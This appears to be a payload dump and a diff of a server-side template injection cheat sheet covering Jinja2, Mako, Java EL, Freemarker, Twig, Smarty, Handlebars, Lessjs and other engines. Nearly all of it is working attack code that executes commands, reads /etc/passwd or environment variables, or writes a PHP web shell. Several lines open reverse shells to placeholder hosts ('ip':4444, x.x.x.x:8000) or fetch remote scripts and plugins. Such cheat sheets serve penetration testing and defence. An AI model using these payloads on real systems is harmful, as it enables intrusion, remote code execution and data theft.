{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()} ${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
{{self._TemplateReference__context.cycler.__init__.__globals__.os}}
{{self._TemplateReference__context.joiner.__init__.__globals__.os}}
{{self._TemplateReference__context.namespace.__init__.__globals__.os}}
{{cycler.__init__.__globals__.os}}
{{joiner.__init__.__globals__.os}}
{{namespace.__init__.__globals__.os}}

View File

@ -6,32 +6,21 @@
* [Tools](#tools) * [Tools](#tools)
* [Methodology](#methodology) * [Methodology](#methodology)
* [Ruby](#ruby) * [ASP.NET Razor](#aspnet-razor)
* [Basic injections](#ruby---basic-injections) * [Basic injection](#aspnet-razor---basic-injection)
* [Retrieve /etc/passwd](#ruby---retrieve--etc-passwd) * [Command execution](#aspnet-razor---command-execution)
* [List files and directories](#ruby---list-files-and-directories)
* [Java](#java)
* [Basic injection](#java---basic-injection)
* [Retrieve the systems environment variables](#java---retrieve-the-system-s-environment-variables)
* [Retrieve /etc/passwd](#java---retrieve--etc-passwd)
* [Expression Language EL](#expression-language-el) * [Expression Language EL](#expression-language-el)
* [Basic injection](#expression-language-el---basic-injection) * [Basic injection](#expression-language-el---basic-injection)
* [Code execution](#expression-language-el---code-execution) * [Code execution](#expression-language-el---code-execution)
* [Twig](#twig)
* [Basic injection](#twig---basic-injection)
* [Template format](#twig---template-format)
* [Arbitrary File Reading](#twig---arbitrary-file-reading)
* [Code execution](#twig---code-execution)
* [Smarty](#smarty)
* [Freemarker](#freemarker) * [Freemarker](#freemarker)
* [Basic injection](#freemarker---basic-injection) * [Basic injection](#freemarker---basic-injection)
* [Code execution](#freemarker---code-execution) * [Code execution](#freemarker---code-execution)
* [Pebble](#pebble) * [Handlebars](#handlebars)
* [Basic injection](#pebble---basic-injection) * [Jade / Codepen](#jade--codepen)
* [Code execution](#pebble---code-execution) * [Java](#java)
* [Jade / Codepen](#jade---codepen) * [Basic injection](#java---basic-injection)
* [Velocity](#velocity) * [Retrieve the systems environment variables](#java---retrieve-the-systems-environment-variables)
* [Mako](#mako) * [Retrieve /etc/passwd](#java---retrieve-etcpasswd)
* [Jinja2](#jinja2) * [Jinja2](#jinja2)
* [Basic injection](#jinja2---basic-injection) * [Basic injection](#jinja2---basic-injection)
* [Template format](#jinja2---template-format) * [Template format](#jinja2---template-format)
@ -45,10 +34,22 @@
* [Jinjava](#jinjava) * [Jinjava](#jinjava)
* [Basic injection](#jinjava---basic-injection) * [Basic injection](#jinjava---basic-injection)
* [Command execution](#jinjava---command-execution) * [Command execution](#jinjava---command-execution)
* [Handlebars](#handlebars) * [Lessjs](#lessjs)
* [ASP.NET Razor](#aspnet-razor) * [Mako](#mako)
* [Basic injection](#aspnet-razor---basic-injection) * [Pebble](#pebble)
* [Command execution](#aspnet-razor---command-execution) * [Basic injection](#pebble---basic-injection)
* [Code execution](#pebble---code-execution)
* [Ruby](#ruby)
* [Basic injections](#ruby---basic-injections)
* [Retrieve /etc/passwd](#ruby---retrieve-etcpasswd)
* [List files and directories](#ruby---list-files-and-directories)
* [Smarty](#smarty)
* [Twig](#twig)
* [Basic injection](#twig---basic-injection)
* [Template format](#twig---template-format)
* [Arbitrary File Reading](#twig---arbitrary-file-reading)
* [Code execution](#twig---code-execution)
* [Velocity](#velocity)
* [References](#references) * [References](#references)
## Tools ## Tools
@ -66,90 +67,52 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
![SSTI cheatsheet workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/serverside.png?raw=true) ![SSTI cheatsheet workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/serverside.png?raw=true)
## Ruby ---
### Ruby - Basic injections ## ASP.NET Razor
ERB: [Official website](https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c)
> Razor is a markup syntax that lets you embed server-based code (Visual Basic and C#) into web pages.
```ruby ### ASP.NET Razor - Basic injection
<%= 7 * 7 %>
```
Slim:
```ruby
#{ 7 * 7 }
```
### Ruby - Retrieve /etc/passwd
```ruby
<%= File.open('/etc/passwd').read %>
```
### Ruby - List files and directories
```ruby
<%= Dir.entries('/') %>
```
### Ruby - Code execution
Execute code using SSTI for ERB engine.
```ruby
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
Execute code using SSTI for Slim engine.
```powershell ```powershell
#{ %x|env| } @(1+2)
``` ```
## Java ### ASP.NET Razor - Command execution
### Java - Basic injection ```csharp
@{
```java // C# code
${7*7} }
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
``` ```
### Java - Retrieve the systems environment variables ---
```java
${T(java.lang.System).getenv()}
```
### Java - Retrieve /etc/passwd
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
## Expression Language EL ## Expression Language EL
[Official website](https://docs.oracle.com/javaee/6/tutorial/doc/gjddd.html)
> Expression Language (EL) is mechanism that simplifies the accessibility of the data stored in Java bean component and other object like request, session and application, etc. There are many operators in JSP that are used in EL like arithmetic and logical operators to perform an expression. It was introduced in JSP 2.0
### Expression Language EL - Basic injection ### Expression Language EL - Basic injection
```java ```java
${1+1} ${1+1}
#{1+1} #{1+1}
``` ```
### Expression Language EL - Code Execution ### Expression Language EL - One-Liner injections not including code execution
```java
// DNS Lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
// JVM System Property Lookup (ex: java.class.path)
${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
```
### Expression Language EL - Code Execution
```java ```java
// Common RCE payloads // Common RCE payloads
@ -179,73 +142,18 @@ ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().g
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))} ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
``` ```
---
## Twig
### Twig - Basic injection
```python
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{app.request.server.all|join(',')}}
```
### Twig - Template format
```python
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
### Twig - Arbitrary File Reading
```python
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
```
### Twig - Code execution
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
```powershell
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```
## Smarty
```python
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
## Freemarker ## Freemarker
[Official website](https://freemarker.apache.org/)
> Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.
You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
### Freemarker - Basic injection ### Freemarker - Basic injection
The template can be `${3*3}` or the legacy `#{3*3}` The template can be `${3*3}` or the legacy `#{3*3}`.
### Freemarker - Code execution ### Freemarker - Code execution
@ -267,37 +175,44 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${dwf.newInstance(ec,null)("id")} ${dwf.newInstance(ec,null)("id")}
``` ```
## Pebble ---
### Pebble - Basic injection ## Handlebars
```java [Official website](https://handlebarsjs.com/)
{{ someString.toUPPERCASE() }} > Handlebars compiles templates into JavaScript functions.
### Handlebars - Command Execution
```handlebars
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
``` ```
### Pebble - Code execution ---
Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
New version of Pebble :
```java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
## Jade / Codepen ## Jade / Codepen
[Official website](https://codepen.io/)
>
```python ```python
- var x = root.process - var x = root.process
- x = x.mainModule.require - x = x.mainModule.require
@ -309,32 +224,39 @@ New version of Pebble :
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
``` ```
## Velocity ---
```python ## Java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type) ### Java - Basic injection
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor() ```java
#set($out=$ex.getInputStream()) ${7*7}
#foreach($i in [1..$out.available()]) ${{7*7}}
$str.valueOf($chr.toChars($out.read())) ${class.getClassLoader()}
#end ${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
``` ```
## Mako ### Java - Retrieve the systems environment variables
```python ```java
<% ${T(java.lang.System).getenv()}
import os
x=os.popen('id').read()
%>
${x}
``` ```
### Java - Retrieve /etc/passwd
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
---
## Jinja2 ## Jinja2
[Official website](http://jinja.pocoo.org/) [Official website](https://jinja.palletsprojects.com/)
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. > Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
### Jinja2 - Basic injection ### Jinja2 - Basic injection
@ -346,7 +268,7 @@ ${x}
``` ```
Jinja2 is used by Python Web Frameworks such as Django or Flask. Jinja2 is used by Python Web Frameworks such as Django or Flask.
The above injections have been tested on Flask application. The above injections have been tested on a Flask application.
### Jinja2 - Template format ### Jinja2 - Template format
@ -413,7 +335,32 @@ Listen for connection
nc -lnvp 8000 nc -lnvp 8000
``` ```
#### Exploit the SSTI by calling subprocess.Popen. #### Exploit the SSTI by calling os.popen().read()
These payloads are context-free, and do not require anything, except being in a jinja2 Template object:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
```
We can use these shorter payloads (this is the shorter payloads known yet):
```python
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
#### Exploit the SSTI by calling subprocess.Popen
:warning: the number 396 will vary depending of the application. :warning: the number 396 will vary depending of the application.
```python ```python
@ -438,16 +385,15 @@ In another GET parameter include a variable named "input" that contains the comm
```python ```python
# evil config # evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config # load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }} {{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host # connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
``` ```
### Jinja2 - Filter bypass ### Jinja2 - Filter bypass
```python ```python
@ -486,8 +432,13 @@ Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by http
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
``` ```
---
## Jinjava ## Jinjava
[Official website](https://github.com/HubSpot/jinjava)
> Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).
### Jinjava - Basic injection ### Jinjava - Basic injection
```python ```python
@ -497,7 +448,7 @@ Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by http
Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
### Jinjava - Command execution ### Jinjava - Command execution
Fixed by https://github.com/HubSpot/jinjava/pull/230 Fixed by https://github.com/HubSpot/jinjava/pull/230
@ -508,52 +459,323 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
``` ```
## Handlebars ---
### Handlebars - Command Execution ## Lessjs
```handlebars [Official website](https://lesscss.org/)
{{#with "s" as |string|}} > Less (which stands for Leaner Style Sheets) is a backwards-compatible language extension for CSS. This is the official documentation for Less, the language and Less.js, the JavaScript tool that converts your Less styles to CSS styles.
{{#with "e"}}
{{#with split as |conslist|}} ### Lessjs - SSRF / LFI
{{this.pop}}
{{this.push (lookup string.sub "constructor")}} ```less
{{this.pop}} @import (inline) "http://localhost";
{{#with string.split as |codelist|}} // or
{{this.pop}} @import (inline) "/etc/passwd";
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
``` ```
## ASP.NET Razor ### Lessjs < v3 - Command Execution
### ASP.NET Razor - Basic injection ```less
body {
```powershell color: `global.process.mainModule.require("child_process").execSync("id")`;
@(1+2)
```
### ASP.NET Razor - Command execution
```csharp
@{
// C# code
} }
``` ```
### Plugins
Lessjs plugins can be remotely included and are composed of Javascript which gets executed when the Less is transpiled.
```less
// example local plugin usage
@plugin "plugin-2.7.js";
```
or
```less
// example remote plugin usage
@plugin "http://example.com/plugin-2.7.js"
```
version 2 example RCE plugin:
```javascript
functions.add('cmd', function(val) {
return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});
```
version 3 and above example RCE plugin
```javascript
//Vulnerable plugin (3.13.1)
registerPlugin({
install: function(less, pluginManager, functions) {
functions.add('cmd', function(val) {
return global.process.mainModule.require('child_process').execSync(val.value).toString();
});
}
})
```
---
## Mako
[Official website](https://www.makotemplates.org/)
> Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```
### Direct access to os from TemplateNamespace:
Any of these payloads allows direct access to the `os` module
```python
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
```
PoC :
```python
>>> print(Template("${self.module.cache.util.os}").render())
<module 'os' from '/usr/local/lib/python3.10/os.py'>
```
Source [@podalirius_](https://twitter.com/podalirius_) : [https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/](https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/)
---
## Pebble
[Official website](https://pebbletemplates.io/)
> Pebble is a Java templating engine inspired by [Twig](./#twig) and similar to the Python [Jinja](./#jinja2) Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.
### Pebble - Basic injection
```java
{{ someString.toUPPERCASE() }}
```
### Pebble - Code execution
Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
New version of Pebble :
```java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
---
## Ruby
### Ruby - Basic injections
ERB:
```ruby
<%= 7 * 7 %>
```
Slim:
```ruby
#{ 7 * 7 }
```
### Ruby - Retrieve /etc/passwd
```ruby
<%= File.open('/etc/passwd').read %>
```
### Ruby - List files and directories
```ruby
<%= Dir.entries('/') %>
```
### Ruby - Code execution
Execute code using SSTI for ERB engine.
```ruby
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
Execute code using SSTI for Slim engine.
```powershell
#{ %x|env| }
```
---
## Smarty
[Official website](https://www.smarty.net/docs/en/)
> Smarty is a template engine for PHP.
```python
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
